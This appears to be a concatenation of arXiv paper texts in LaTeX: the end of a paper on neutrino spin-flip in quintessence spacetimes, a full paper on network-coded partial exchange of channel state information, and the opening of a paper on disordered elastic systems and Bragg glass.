\includegraphics[scale=0.9]{Comparison.pdf}
\caption{Oscillation length ratio between GR and the quintessence framework in function of $r/M$. The legend shows the values of $c$ and $\omega$ used.}
\label{Quint_OL2}
\end{figure}
\subsection{Spin-flip transition}
With a similar procedure as in Sec.~3, we obtain the $\Omega_2$ value that we do not report here to its complex analytic form. To account for the maximum possible difference in the neutrino oscillation with quintessence, we have done a theoretical analysis with $\omega_q=-0.4$ and $c=0.4$. Moreover, due to the complexity of calculation, we can only obtain a numerical approximated result that is represented in Fig.~\ref{Quint}.
\begin{figure}
\centering
\includegraphics[scale=0.9]{Quint_2.pdf}
\caption{Probability of spin flip plotted respect to the value of the variable $y$. As it can be see, for larger value of $y$ the probability goes to zero. We have used the value of $\gamma=10$, $c=0.4$ and $\omega_q=-0.4$.}
\label{Quint}
\end{figure}
As it can be seen, even in this case, the probability is suppressed with respect to the probability computed with the GR metric.
\subsection{Electron fraction $Y_{e}$ in presence of quintessence }
In this Subsection we discuss the effects of gravity (gravitational redshift) on the energy spectra of neutrinos (${\nu}_e$) and antineutrinos ($\overline{\nu}_e$)
outflowing from the very inner ejecta of a Type II supernova explosion \cite{1996NuPhA.606..167F}.
The ${\nu}_e-\overline{\nu}_e$ oscillations mediated by the
gravitational collapse of the supernova inner core could explain the abundance of
neutrons. This in turn affects the r-process nucleosynthesis in astrophysical environments\footnote{If indeed $\overline{\nu}_e$ could be over-abundant than $\nu_e$, then the neutron production could be higher than the proton production, and the supernova spin-flip conversion ${\nu}_e \longrightarrow \overline{\nu}_e$ (for example, Majorana type neutrinos) could be affected by gravity-induced effects inside supernovae cores, and hence, the over-abundance of neutrons required for the r-process in such a spacetime with quintessence.}.
By defining ${\nu}_e$ the neutrinosphere at $r_{\nu_e}$ and the
$\overline{\nu}_e$ neutrinosphere at $r_{\overline{\nu}_e} $, the electron fraction reads \cite{1996NuPhA.606..167F} (for details, see also \cite{APJL789-M.Shibata-2014,Cuesta})
\begin{equation}
Y_e = \frac{1}{ 1 + R_{\frac{n}{p}} }, \hskip 1.0truecm R_{\frac{n}{p}} \equiv
R^0_{\frac{n}{p}} \, \Gamma,
\label{gravitYe}
\end{equation}
where $R^0_{\frac{n}{p}}$ (the local neutron-to-proton ratio) and $\Gamma$ are given by
\begin{equation
R^0_{\frac{n}{p}} \simeq \left[\frac{ L_{\overline{\nu}_e } \, \langle
E_{\overline{\nu}_e} \rangle}{ L_{\nu_e} \, \langle
E_{\nu_e}\rangle} \right]\,, \quad \Gamma \equiv \left[\frac{g_{00}(r_{\overline{\nu}_e})}{g_{00}(r_{{\nu}_e})}\right]^{\frac{3}{2}}\,,
\label{R0np}
\end{equation}
while $L_{\overline{\nu}_e, \nu_e}$ is the neutrino luminosity and
$\langle E_{\overline{\nu}_e, \nu_e}\rangle$ is the average energy\footnote{Notice that it is assumed that the ${\overline{\nu}_e}, {\nu}_e$ energy spectrum does not evolve significantly with increasing radius above the ${\overline{\nu}_e}, {\nu}_e$ sphere, as a consequence of the concomitant emission, absorption
and scattering processes.} (as measured by a
locally inertial observer at rest at the $\{\overline{\nu}_e, \nu_e\}$-neutrinosphere).
In Fig. \ref{Ye} we plot the electron fraction given by (\ref{gravitYe}).
The presence of quintessence field surrounding a black hole change the neutron-to-proton ratio with respect to the Schwarzschild case ($Y_{e} > Y_{e}^{GR}$), favoring in such a case the r-processes.\\
On the other hand, there are not relevant differences in $Y_e$ between conformal theory and GR due to the fact that in Eq.~(\ref{R0np}) the conformal factor is almost totally simplified.
\begin{figure}
\centering
\includegraphics[scale=0.9]{Ye_5Mv3.pdf}
\caption{Electron fraction $Y_e$ vs the antineutrino/neutrino luminosity ratio $ L_{\overline{\nu}_e } / L_{\nu_e}$ for $r=5M$. We compare the Schwarzschild electron fraction (GR) with the ones coming from the quintessence theory with the parameters in the legend.}
\label{Ye}
\end{figure}
\section{Conclusions}
In this paper, we have analyzed the neutrino spin-flip and spin-flavor phenomena in a gravitational field.
After discussing the general results we have applied them to two specific cases: 1) the conformal modification of GR, which is an effect purely geometrical, related to screening effects, and 2) the quintessence surrounding a black hole, which is linked to dark matter and energy. Regarding the first case, as discussed in the paper, they are characterized by the introduction of an additional degree of freedom (typically a scalar field) that obeys a non-linear equation that couples to the environment.
Screening mechanisms allow circumventing Solar system and laboratory tests by suppressing, in a dynamical way, deviations from GR
(the effects of the additional degrees of freedom are hidden, in high-density regions, by the coupling of the field with matter
while, in low-density regions, they are unsuppressed on cosmological scales \cite{veltman,symmetron,Vainshtein}).
Therefore, new tests of the gravitational interaction may provide a new test for probing the existence of these scalar fields.
The gravitational interaction described by {\it deformed} Schwarzschild's geometry, induced hence by the presence of scalar fields around the gravitational massive source, affects the neutrino flavor and spin-flip transitions.
This analysis turns out relevant in the optic of the recent observations of the event horizon silhouette of a supermassive BH \cite{Aki19}. Indeed, the accretion disk surrounding a BH is a source both of photons (which form, as well known, its visible image) and neutrinos \cite{KawMin07}. The latter suffer gravitational lensing as well as a spin precession in strong external fields near the supermassive BH (it is worth mentioning that
similar effects occur also in a supernova explosion in our galaxy \cite{MenMocQui06}). It is then expected that spin oscillations of these neutrinos
modify the neutrino flux observed in a neutrino telescope.
We have compared the transition probability in presence of a scalar field that screens the gravitational field, and the quintessence field. In both cases, we observe a modification of the spin-flip probability with respect to GR, and, as a consequence, the neutrino fluxes accounting for the interaction with an accretion disk get modified. Results are resumed in Fig. \ref{ConfrontoA} and \ref{ConfrontoB}).
Modification of GR through conformally coupling model (hence screening effects) or quintessence can relevantly affect these astrophysical phenomena, allowing the possibility to find, with future observations, deviations from GR.
In the case of the quintessence field, we have also shown the influence of such a field on the nucleosynthesis processes.
Some final comments are in order: 1) We have only considered the spin-flip transitions induced by gravitational fields. A more complete analysis requires the inclusion of magnetic field, as in \cite{Dvornikov:2020oay}; 2) The spin flip probability (\ref{PLR18}), when applied to solar neutrinos, gives a probability below the upper bound $0.07$, obtained from the Kamiokande-II \cite{Duan:1992av}.
3) We have assumed that the conformal factor $A(\phi)$ is universal so that the equivalence principle holds \cite{Khoury:2003rn}. However, in the more general case, one may have different $A_i(\phi)$, corresponding to different matter fields $\Psi_i$, with interesting consequences on the spin-flip and spin-flavor oscillations, as well as to spin state abundances of relic neutrinos. All these possibilities will be treated elsewhere.
\begin{figure}
\centering
\includegraphics[scale=0.6]{Confronto_GR11.pdf}
\caption{Ratio between the GR probability of spin flip and that of the conformal theory with $A=1.1$ plotted respect to the value of the variable $y$. We have used the value of $\gamma=10$.}
\label{ConfrontoA}
\end{figure}
\begin{figure}
\centering
\includegraphics[scale=0.6]{Confronto_GRQuint.pdf}
\caption{Ratio between the GR probability of spin flip and that of the quintessence theory plotted respect to the value of the variable $y$. We have used the value of $\gamma=10$, $c=0.4$ and $\omega_q=-0.4$.}
\label{ConfrontoB}
\end{figure}
\begin{acknowledgements}
The work of G.L. and L.M. is supported by the Italian Istituto Nazionale di Fisica Nucleare (INFN) through the ``QGSKY'' project and by Ministero dell'Istruzione, Universit\`a e Ricerca (MIUR).
The computational work has been executed on the IT resources of the ReCaS-Bari data center, which have been made available by two projects financed by the MIUR (Italian Ministry for Education, University and Re-search) in the "PON Ricerca e Competitività 2007-2013" Program: ReCaS (Azione I - Interventi di rafforzamento strutturale, PONa3\_00052, Avviso 254/Ric) and PRISMA (Asse II - Sostegno all'innovazione, PON04a2A)
\end{acknowledgements}
|
1,477,468,749,999 | arxiv | \section{Introduction}
To increase throughput and network efficiency, it is always
beneficial for clients in a wireless network to have a certain level
of global knowledge of the network, for example link loss
probability that is related to the network connectivity, or channel
state information (CSI) that is related to the channel quality.
Generally, such information, e.g. link loss probability and CSI, on
a link $(i,j)$ is regarded as a local and common information between
two connected nodes $i$ and $j$, and it is unknown to a {\em
third-party} node, e.g., the node $k\neq i,j$. Thus, the problem of
letting third-party nodes to know the information that is local to
the other nodes is an important problem for network design
\cite{Love2007,Wang2012b}.
Recently, cooperative data exchange
\cite{ElRouayheb2010,Sprintson2010,Tajbakhsh2011,Milosavljevic2011}
with network coding \cite{Ahlswede2000,Katti2006} has become a
promising approach for efficient data communication. In cooperative
data exchange, the clients in a network exchange the packets via a
lossless common/broadcast channel. Inspired by cooperative data
exchange, the works in \cite{Love2007}\cite{Wang2012b} proposed a
network coding based {\em third-party information exchange} where
the clients exchange their local CSI through a lossless
common/broadcast channel such that each client finally gets the
complete CSI of the whole network. Specifically, the work in
\cite{Love2007} aims to minimize the total number of transmissions,
while the work in \cite{Wang2012b} tries to minimize the total
transmission cost required to complete the information exchange.
However, both of these works assume that all the clients in the
network need to get the complete CSI. In a practical system, there
could be only a subset of the clients, e.g. only the one with
information to transmit or receive, need to get the complete CSI at
the same time in most cases.
Hence, different from the previous works
\cite{Love2007}\cite{Wang2012b}, we study a practical scenario where
only a subset of the clients in the network need to acquire the
complete CSI in this paper. To simplify the presentation, such
third-party information exchange for only a subset of clients is
denoted as {\em partial third-party information exchange}. We aim to
propose a network coding based solution to minimize the total number
of transmissions required during partial third-party information
exchange. The main contributions of this paper can be summarized as
follows:
\begin{itemize}
\item We derive the minimum number of transmissions for such partial third-party information exchange.
\item We propose an optimal transmission scheme, which determines the number of packets that each client should send so as to achieve the minimal number of transmissions.
\item We design a deterministic encoding strategy to make sure that
with the proposed transmission scheme, the subset of clients that
require the complete CSI can successfully decode/obtain the full
information.
\item Numerical results show that the proposed transmission scheme and encoding strategy can efficiently reduce the number of transmissions.
\end{itemize}
\section{Problem Description}\label{Sec.definition}
Consider a network with $N$ clients in $C=\{c_1,c_2,\cdots, c_N\}$.
Let $x_{i,j}$ represent the link loss probability or CSI of the
link between clients $c_i$ and $c_j$, where each client $c_i$ only
knows the local information initially, i.e., client $c_i$ only holds
the CSI in $X_i=\{x_{i,j}|\forall j\in\{1,2,\cdots,N\}\setminus
\{i\}\}$. We assume that the links are symmetric, i.e.,
$x_{i,j}=x_{j,i}$ for $\forall i,j$, so for every two clients $c_i$
and $c_{j}$, they hold one common CSI $x_{i,j}$. Thus, the set of
all the CSI in the network is $X=\{x_{i,j} | 1 \leq i,j \leq N,
i \neq j \}$, and the total number of the packets is
$|X|=\frac{N(N-1)}{2}$.
Instead of letting all the clients get the complete CSI \cite{Love2007}\cite{Wang2012b},
in this paper, we consider the case that only a subset of clients, $C'\subseteq
C$, need to get the complete CSI in $X$. Without loss of
generality, we assume that the first $k$ clients in $C$ want all the
CSI in $X$, i.e. $C'=\{c_1,c_2,\cdots, c_k\}$, $k\leq N$.
We also use $\overline{X_i}$ to denote the
set of ``wanted" packets by client $c_i\in C'$, i.e.,
$\overline{X_i}=X\backslash X_i\subseteq X$.
As in \cite{Love2007}\cite{Wang2012b}, there is a lossless
common/broadcast channel for clients to exchange information. Let
$y_i$ be the number of packets that client $c_i$ should send. Then, the
total number of transmissions sent by all the clients in $C$ (notice
that although only a subset of clients $C'$ requires the full
information, all clients in $C$ should participate in sharing their
information) can thus be written as
{\small\begin{eqnarray}\label{objective.cost} Y=\sum_{i=1}^Ny_i
\end{eqnarray}}
Recent works
\cite{Love2007,Wang2012b,ElRouayheb2010,Sprintson2010,Tajbakhsh2011,Milosavljevic2011}
show that network coding can efficiently save the number of
transmissions for data exchange problem. Thus, after determining the
number of transmissions that each client should send, we design an
encoding strategy based on network coding \cite{Ahlswede2000}, where
a linear encoded packet will be generated based on the packets that
the sender initially has over a finite field.
In the following sections, we will derive the minimum number of transmissions required for partial third-party information exchange in Section~\ref{Sec.lower}. Then, in Section~\ref{Sec.optimal}, we propose an optimal transmission scheme, which can achieve the minimum number of transmissions. Based on the proposed transmission scheme, in Section~\ref{Sec.encoding1}, we design a deterministic encoding strategy to make sure that each client in $C'$ can successfully decode/obtain the complete CSI. We compare the performance in Section~\ref{Sec.comp}.
\section{The Minimum Number of Transmissions}\label{Sec.lower}
In this section, we theoretically derive the minimum number of transmissions for the partial third-party information exchange problem.
We use $Y_{min}$ to denote the minimum number of transmissions
required for the partial third-party information exchange problem.
We have the following lemma.
\begin{lemma}\label{lemma.low}
The minimum number of transmissions required for the partial
third-party information exchange problem is lower bounded as
{\small\begin{eqnarray}\label{low} Y_{min}\geq
\frac{(N-1)(N-2)}{2}+\lceil{\frac{k-2}{2}}\rceil
\end{eqnarray}}
\end{lemma}
\begin{proof}
Since the number of packets required by each client $c_i\in C'$ is
$|\overline{X_i}|=\frac{(N-1)(N-2)}{2}$, the number of packets
received by client $c_i$ should be at least $\frac{(N-1)(N-2)}{2}$,
otherwise, $c_i$ cannot get the complete information. In other
words, {\small\begin{eqnarray}
\sum_{i'\in\{1,\cdots,N\}\backslash\{i\}}y_{i'}\geq
\frac{(N-1)(N-2)}{2}
\end{eqnarray}}
By considering all the clients in $C'$, we have
{\small\begin{eqnarray}
\sum_{i=1}^k\sum_{i'\in\{1,\cdots,N\}\backslash\{i\}}y_{i'}&\geq& \frac{(N-1)(N-2)k}{2}\notag\\
k\sum_{i'=1}^Ny_{i'}-\sum_{i'=1}^{k}y_{i'}&\geq& \frac{(N-1)(N-2)k}{2}
\end{eqnarray}}
That is
{\small\begin{eqnarray}\label{ineq.total}
\sum_{i'=1}^Ny_{i'}\geq \frac{(N-1)(N-2)}{2}+\frac{\sum_{i'=1}^{k}y_{i'}}{k}
\end{eqnarray}}
According to \cite{Wang2012b}, for each client $c_i\in C'$, the
packets received from other $k-1$ clients in $C'\backslash\{c_i\}$
should satisfy
{\small\begin{eqnarray} \sum_{c_{i'}\in
C'\backslash\{c_i\}}y_{i'}\geq \binom{k-1}{2}
\end{eqnarray}}
By considering all the clients in $C'$, we have
{\small \begin{eqnarray}
\sum_{i=1}^k\sum_{i'\in\{1,\cdots,k\}\backslash\{i\}}y_{i'}&\geq & \frac{k(k-1)(k-2)}{2}\notag\\
(k-1)\sum_{i'=1}^ky_{i'}&\geq & \frac{k(k-1)(k-2)}{2}
\end{eqnarray}}
That is
{\small\begin{eqnarray}\label{ineq.part}
\sum_{i'=1}^ky_{i'}\geq \lceil{\frac{k(k-2)}{2}}\rceil
\end{eqnarray}}
According to Eq.~(\ref{ineq.total}) and Eq.~(\ref{ineq.part}), we
can obtain that
{\small\begin{eqnarray}
\sum_{i'=1}^Ny_{i'}\geq \frac{(N-1)(N-2)}{2}+
\lceil{\frac{k-2}{2}}\rceil
\end{eqnarray}}
We thus proved Lemma~\ref{lemma.low}.
\end{proof}
We can also get the following Theorem.
\begin{Theorem}\label{optimal.number}
The optimal number of transmissions required for partial
third-party information exchange problem that minimizes the number of
transmissions is
{\small\begin{eqnarray}\label{equal} Y^{opt}_{min}=
\frac{(N-1)(N-2)}{2}+ \lceil{\frac{k-2}{2}}\rceil
\end{eqnarray}}
\end{Theorem}
\begin{proof}
According to Lemma~\ref{lemma.low}, we know that the lower bound of
the minimum number of transmissions required is
$\frac{(N-1)(N-2)}{2}+ \lceil{\frac{k-2}{2}}\rceil$. Thus, we get
the optimal minimum number of transmissions, as denoted in
Eq.~(\ref{equal}).
\end{proof}
In the following sections, we will show that the above lower bound can be
achieved with an optimal transmission scheme and a deterministic encoding strategy.
\section{An Optimal Transmission Scheme}\label{Sec.optimal}
In this section, we first propose a feasible transmission scheme. We
then prove that the proposed transmission scheme can achieve the
minimum number of transmissions required for partial third-party information exchange problem.
\subsection{A Feasible Transmission Scheme}\label{Sec.optimal.trans}
We first describe the transmission scheme, which determines the
number of packets that each client should send.
\begin{DD}\label{DD.trans}
{\bf The transmission scheme}: the number of packets sent by each client is
{\small\begin{eqnarray}\label{scheme}
y_{i}=\left\{
\begin{aligned}
&\lceil{\frac{k}{2}-1}\rceil,\mbox{ if }1\leq i< k\\
&\frac{k}{2}-1, \mbox{ if i=k and k is even}\\
&0, \mbox{ if i=k and k is odd}\\
&N+k-i-1,\mbox{ if }k+1\leq i\leq N
\end{aligned}
\right.
\end{eqnarray}}
\end{DD}
We can get the following lemma.
\begin{lemma}\label{lemma.feasible}
The transmission scheme defined in Definition~\ref{DD.trans} is a
feasible solution for the partial third-party information exchange problem.
\end{lemma}
\begin{proof}
We prove the above lemma by only considering the case when $k$ is
even. The case when $k$ is odd can be proved in a similar way.
According to \cite{Wang2012b}, there exists a feasible code design
to make sure the client $c_i\in C'$ can successfully decode/obtain
the complete information, if and only if the total number of packets
received from any other $l$ clients in $C\backslash \{c_i\}$ is at
least $\binom{l}{2}$. In other words, the feasible solution of the
partial third-party information exchange requires that for any
$c_i\in C'$, {\small\begin{eqnarray}\label{condition}
\sum_{t=1}^{l}y_{i_t}\geq \binom{l}{2}, \mbox{ for } \forall
\{c_{i_1},c_{i_2},\cdots,c_{i_l}\}\subseteq C\backslash \{c_i\}
\end{eqnarray}}
According to Eq.~(\ref{scheme}), for $\forall
\{c_{i_1},c_{i_2},\cdots,c_{i_l}\}\subseteq C\backslash \{c_i\}$, when $l<k$, we
have
{\small\begin{eqnarray} \sum_{t=1}^ly_{i_t}\geq
(\frac{k}{2}-1)l \geq \frac{l(l-1)}{2}=\binom{l}{2}
\end{eqnarray}}
When $l\geq k$, we have {\small\begin{eqnarray}
\sum_{t=1}^ly_{i_t}&\geq& \sum_{j\in C'\backslash \{i\}} y_j+\sum_{j=N-l+k}^Ny_j\notag \\
&=&\frac{l(l-1)}{2}=\binom{l}{2}
\end{eqnarray}}
We thus prove that the transmission scheme
in Definition~\ref{DD.trans} is a feasible transmission
scheme, i.e., there exists a feasible code design to make sure with
the above transmission scheme, the clients in $C'$ can obtain their
``wanted" packets.
\end{proof}
\subsection{Performance Analysis}
We now prove that the proposed transmission scheme can achieve the
minimum number of transmissions for the partial third-party
information exchange problem as specified in Theorem 1. To avoid
confusion, we use $Y_p$ to denote the number of transmissions
required by the proposed transmission scheme. According to
Definition~\ref{DD.trans}, we can have the following lemma.
\begin{lemma}\label{lemma2}
The number of transmissions required with the transmission scheme defined in Definition~\ref{DD.trans} is
{\small\begin{eqnarray}\label{upp}
Y_{p}=\frac{(N-1)(N-2)}{2}+\lceil{\frac{k-2}{2}}\rceil
\end{eqnarray}}
\end{lemma}
\begin{proof}
We analyze the number of transmissions required with the proposed
transmission scheme by considering two cases: 1) $k$ is even and 2)
$k$ is odd.
Case 1 ($k$ is even): According to
Eq.~(\ref{scheme}), the total number of transmissions sent by all
the clients can be expressed as
{\small\begin{eqnarray}
&&\sum_{i=1}^k(\frac{k}{2}-1)+\sum_{i=k+1}^N(N+k-i-1)\notag\\
&=&\frac{(N-1)(N-2)}{2}+\frac{k-2}{2}
\end{eqnarray}}
Case 2 ($k$ is odd): According to Eq.~(\ref{scheme}), the total
number of transmissions required for this case is
{\small\begin{eqnarray}
&&\sum_{i=1}^{k-1}\lceil\frac{k}{2}-1\rceil+\sum_{i=k+1}^N(N+k-i-1)\notag\\
&=&\frac{(k-1)^2}{2}+\frac{(N-k)(N+k-3)}{2}\notag\\
&=&\frac{(N-1)(N-2)}{2}+\lceil{\frac{k-2}{2}}\rceil
\end{eqnarray}}
Thus, the number of transmissions required is
{\small\begin{eqnarray}
Y_{p}=\frac{(N-1)(N-2)}{2}+\lceil{\frac{k-2}{2}}\rceil\notag
\end{eqnarray}}
\end{proof}
We then get the following Theorem.
\begin{Theorem}\label{optimal.theorem}
The proposed transmission scheme achieves the optimal solution of the partial third-party information exchange problem.
\end{Theorem}
\begin{proof}
As the proposed feasible transmission scheme achieves the minimum number of transmissions in Eq.(\ref{equal}), the derived bound is thus reachable and the proposed transmission scheme achieves the optimal solution.
\end{proof}
\section{A Deterministic Network Code Design}\label{Sec.encoding1}
The above transmission scheme only gives the number of transmissions to be sent by each client. In this section, we will design a deterministic encoding strategy to decide the encoded packets that each client should send, so as to make sure that
with the above transmission scheme, each client in $C'$ can
successfully decode/obtain all its ``wanted" packets.
\begin{DD}\label{DD.encoding}
Each client encodes the packets according to the following rules, where the number of packets sent by each client is determined by
Definition~\ref{DD.trans}.
(1) For client $c_i$, where $1\leq i\leq k$, the $j$-th packet sent
by $c_i$ is
\begin{eqnarray}\label{encode.1}
x_{i,i\%k+1}\oplus x_{i,(i+j)\%k+1}
\end{eqnarray}
(2) For client $c_i$, where $k<i\leq N$,
\begin{itemize}
\item if $j<k$, the $j$-th packet sent by $c_i$ is
\begin{eqnarray}\label{encode.2}
x_{1,i}\oplus x_{1+j,i}
\end{eqnarray}
\item if $j\geq k$, the $j$-th packet sent by $c_i$ is
\begin{eqnarray}\label{encode.3}
x_{i,i+j-k+1}
\end{eqnarray}
\end{itemize}
\end{DD}
Note that the proposed code design is a simple pairwise coding (i.e.
by encoding at most two packets only), which can be implemented
easily with XOR operation.
Consider an example with $6$ clients, where the first $3$ clients
want to get the complete CSI. According to the above definitions,
the transmission scheme and the encoded packets sent by each client
are shown in Table~\ref{example}.
\begin{table}[ht]
\caption{The transmission scheme and code design for $N=6,k=3$}
\centering
\begin{tabular}{|l|l|l|l|}
\hline
& Initial Information & $y_i$ & Code design \\ \hline
$c_1$& $x_{1,2},x_{1,3},x_{1,4},x_{1,5},x_{1,6}$ & 1 & $x_{1,2}\oplus x_{1,3}$\\
\hline
$c_2$& $x_{1,2},x_{2,3},x_{2,4},x_{2,5},x_{2,6}$ & 1 & $x_{2,3}\oplus x_{2,1}$\\
\hline
$c_3$& $x_{1,3},x_{2,3},x_{3,4},x_{3,5},x_{3,6}$ & 0 & \\
\hline
\multirow{2}{*}{$c_4$} &
\multirow{2}{*}{$x_{1,4},x_{2,4},x_{3,4},x_{4,5},x_{4,6}$}&
\multirow{2}{*}{4} & $x_{1,4}\oplus x_{2,4}$\mbox{, }$x_{1,4}\oplus x_{3,4}$\\
& & &$x_{4,5}$\mbox{, }$x_{4,6}$ \\
\hline
\multirow{2}{*}{$c_5$} &
\multirow{2}{*}{$x_{1,5},x_{2,5},x_{3,5},x_{4,5},x_{5,6}$}&
\multirow{2}{*}{3} & $x_{1,5}\oplus x_{2,5}$\mbox{, }$x_{1,5}\oplus x_{3,5}$ \\
& & & $x_{5,6}$ \\
\hline
\multirow{1}{*}{$c_6$} &
\multirow{1}{*}{$x_{1,6},x_{2,6},x_{3,6},x_{4,6},x_{5,6}$}&
\multirow{1}{*}{2} & $x_{1,6}\oplus x_{2,6}$\mbox{, }$x_{1,6}\oplus x_{3,6}$ \\
\hline
\end{tabular}\label{example}
\end{table}
We can also prove the following lemma.
\begin{lemma}\label{lemma1}
With the code design in Definition~\ref{DD.encoding} and the
transmission scheme in Definition~\ref{DD.trans}, every client in
$C'$ can successfully decode and obtain the complete CSI in $X$.
\end{lemma}
\begin{proof}
We first prove that every packet $x_{i,j}\in X$ is encoded in at
least one transmitted packet.
\begin{itemize}
\item When $i,j\leq k$, packet $x_{i,j}$ must be encoded in at least one
transmitted packet from client $c_i$ or $c_j$, similar to data
exchange among the $k$ clients in $C'$ \cite{Wang2012b,Love2007}.
\item When $i\leq k$ and $j>k$ (or $i> k$ and $j\leq k$), packet $x_{i,j}$
must be encoded in at least one packet sent by client $c_j$ (or
client $c_i$), according to Eq.~(\ref{encode.2}).
\item When $i,j\geq k$, packet $x_{i,j}$ must be sent by client
$c_{min\{i,j\}}$, according to Eq.~(\ref{encode.3}).
\end{itemize}
Thus, every packet in $X$ will be encoded in at least one
transmitted packet.
We now check the decoding process of the clients in $C'$. We first
consider client $c_1$ as follows:
\begin{itemize}
\item For the packets sent by client $c_i$, where $1<i\leq k$, $c_1$ must
be able to decode them, as this process is similar to the data
exchange among the $k$ clients in $C'$ \cite{Wang2012b,Love2007}.
\item According to Eq.~(\ref{encode.2}), $c_1$ also can decode the first
$k-1$ packets sent by $c_i$, where $i>k$, as packet $x_{1,i}$ is
participated in each of these packets and $x_{1,i}$ is initially
available at $c_1$. In addition, as the other $N-i$ packets sent by
$c_i$ are original ones, $c_1$ can obtain them directly. In other
words, $c_1$ can decode all the packets sent by any client $c_i$,
where $i>k$.
\end{itemize}
As all the packets in $X$ are participated in the packets sent by
the clients and $c_1$ can decode all the packets sent by the
clients, $c_1$ can thus decode/obtain all the CSI in $X$.
We then check the decoding process of client $c_i$, where $1<i\leq
k$. Similar to the decoding process of $c_1$, $c_i$ must be also
able to decode all the packets sent by $c_{i'}$ where $1\leq i'\neq
i\leq k$. In addition, according to Eq.~(\ref{encode.2}), the set of
the first $k-1$ packets sent by client $c_{i'}$, where $i'>k$, is
$\{x_{1,i'}\oplus x_{2,i'},x_{1,i'}\oplus x_{3,i'},\cdots,
x_{1,i'}\oplus x_{k,i'}\}$. In other words, packet $x_{i,i'}$ must
be encoded in one packet sent by $c_{i'}$ where $i\leq k,i'>k$.
Thus, client $c_i$ can decode all the first $k-1$ packets sent by
$c_{i'}$ where $i'>k$. Finally, as the last $N-i$ packets sent by
$c_{i'}$ are original packets, $c_i$ thus can get them directly.
That is, $c_i$ successfully decodes/obtains all the packets sent by
the other clients. As all the packets are participated in the
packets sent by the clients, $c_i$ gets the complete CSI in $X$.
To summarize, with the proposed transmission scheme and
encoding strategy, all the clients
in $C'$ can successfully obtain all the CSI in $X$, which
thus proved Lemma~\ref{lemma1}.
\end{proof}
Still considering the example in Table~\ref{example}, we can easily
verify that after receiving all the packets sent from other clients,
$c_1,c_2$ and $c_3$ can successfully decode their ``wanted" CSI
in $\overline{X_1},\overline{X_2}$ and $\overline{X_3}$
respectively.
Note that the proposed transmission scheme and the encoding strategy
can be implemented in a distributed manner. They only need to know the sequence of the clients and the indices set of the clients in $C'$.
\section{Performance Comparison}\label{Sec.comp}
We now compare the minimum number of transmissions required with and without network coding for various values of $k\leq N$ and $N=4,7,12,15$. As shown in
Table~\ref{table}, we can see that the number
of transmissions with network coding is much less than that without
network coding. Without network coding, the number of transmissions
required for $k\geq 3$ and $k=2$ are $|X|=\frac{N(N-1)}{2}$ and
$|X|-1$ respectively (because when $k\geq 3$, each packet in $X$ is
required by at least one client in $C'$; while when $k=2$, the two
clients in $C'$ must share one common packet). It can also be
verified easily that our result in Theorem
\ref{optimal.theorem} includes \cite{Love2007} as a special case,
where \cite{Love2007} considers to minimize the total number of
transmissions only when $k=N$. However, the encoding scheme proposed in this paper is totally different from \cite{Love2007,Wang2012b} due to different problem setting.
\begin{table}[ht]
\caption{The minimum number of transmissions with and without network coding}
\centering
\begin{tabular}{|c|c|c|c|c|c|c|c|}
\hline
&\multicolumn{5}{|c|}{with network coding (NC)}& \multicolumn{2}{|c|}{without NC} \\\hline
& {\em k=2} & {\em k=4} & {\em k=7} & {\em k=10} & {\em k=15} &{\em k=2} & {\em $3\leq k\leq N$} \\
\hline
{\em N=4} & 3 & 4 & NA & NA &NA &5 &6 \\ \hline
{\em N=7} & 15 & 16 & 18 & NA &NA &20 &21\\ \hline
{\em N=12} & 55 & 56 & 58 & 59 &NA&65 &66\\ \hline
{\em N=15}& 91 & 92 & 94 & 95 &98 &104&105\\ \hline
\end{tabular}
\label{table}
\end{table}
\vspace{-0.05in}
\section{Conclusion}\label{Sec.conclusion}
In this paper, we aim to design a network coded transmission scheme
to minimize the total number of transmissions required for partial
third-party information exchange problem. We first derive the
minimum number of required transmissions for the partial third-party
information exchange. Then, we design an optimal transmission scheme
to determine the number of packets that each client should send so
as to achieve the optimal minimal number of transmissions. Finally,
a simple deterministic encoding strategy, based only on XOR
operation, is designed to make sure that with the proposed optimal
transmission scheme, all the clients that require the complete
information can eventually decode/obtain their ``wanted" packets.
|
1,477,468,750,000 | arxiv | \section{Introduction}
\label{sec:introduction}
The effect of quenched disorder on various condensed elastic systems is
one of the fascinating problems in statistical mechanics.
Examples of physical systems
range from domain walls in magnetic and ferroelectric
materials\cite{lemerle_domainwall_creep,tybell_ferroelectric}, contact lines of
of a liquid meniscus on a rough substrate\cite{moulinet_contact_line}, crack
propagation\cite{bouchaud_bouchaud}, to vortex lattices in type II
superconductors\cite{blatter_vortex_review,giamarchi_vortex_cargese}, charge density
waves (CDW)\cite{gruner_book_cdw,nattermann_brazovskii} and Wigner
crystals\cite{deville_wigner,williams_wigner,coupier_wigner,giamarchi_varenna}.
In these systems, the competition between elastic interactions which
tend to impose some long range
order in the system and quenched disorder, leads to
the formation of glassy phases. Two broad classes of elastic systems can be
distinguished: random manifold systems such as domain walls, contact
lines and cracks, and periodic systems such as vortex lattices, charge
density waves, and Wigner crystals. The latter are characterized
by a long range crystalline order in the absence of disorder and
thermal fluctuations. For these systems, a crucial question is whether
a weak disorder destroys entirely the crystalline order, or whether
some remnants of the underlying periodic structure remain observable.
One of the earliest attempts to answer this question, was the
pioneering work by Larkin\cite{larkin_70} on vortex lattices. Using a
random-force model, he showed that due to the relevance of disorder
in the renormalization
group sense, long range order was entirely destroyed below four
dimensions. Above four dimensions, long range order persists as
disorder becomes irrelevant. A similar conclusion was reached
by Sham and Patton for the
case of a CDW with short range elasticity
\cite{sham_peierls_disorder}, where, using an Imry-Ma
approach,\cite{imry_ma} they concluded that long range order was impossible
in the presence of disorder below four dimensions. The problem of
short range disorder in periodic systems with short ranged elasticity
was revisited in
Refs.~\onlinecite{villain_cosine_realrg,nattermann_pinning,giamarchi_vortex_short,giamarchi_vortex_long}.
It was argued that the periodicity present in systems like CDW and
vortex lattices plays a pivotal role in determining the physics of the
system in the presence of disorder. More precisely, it was shown
that, though the disorder is relevant below four dimensions, due to
the underlying periodicity of the system a quasi long-range order
persisted for dimensions between two and four. This is in stark contrast to the
earlier results which predicted a total destruction of order.
The resulting phase, nicknamed Bragg glass phase, possesses both quasi
long range order and metastability and glassy properties.\cite{giamarchi_vortex_short,giamarchi_vortex_long} It was
further shown that the Bragg glass phase is stable to the formation of
defects.
\cite{giamarchi_vortex_long,gingras_dislocations_numerics,fisher_bragg_proof,zeng_fisher_nobglass2d}
Recent neutron scattering experiments on vortex lattices have
furnished clear evidence for the existence of such a phase.\cite{klein_neutron}
A complication arises in charged periodic systems due to the Coulomb repulsion,
which renders the elasticity
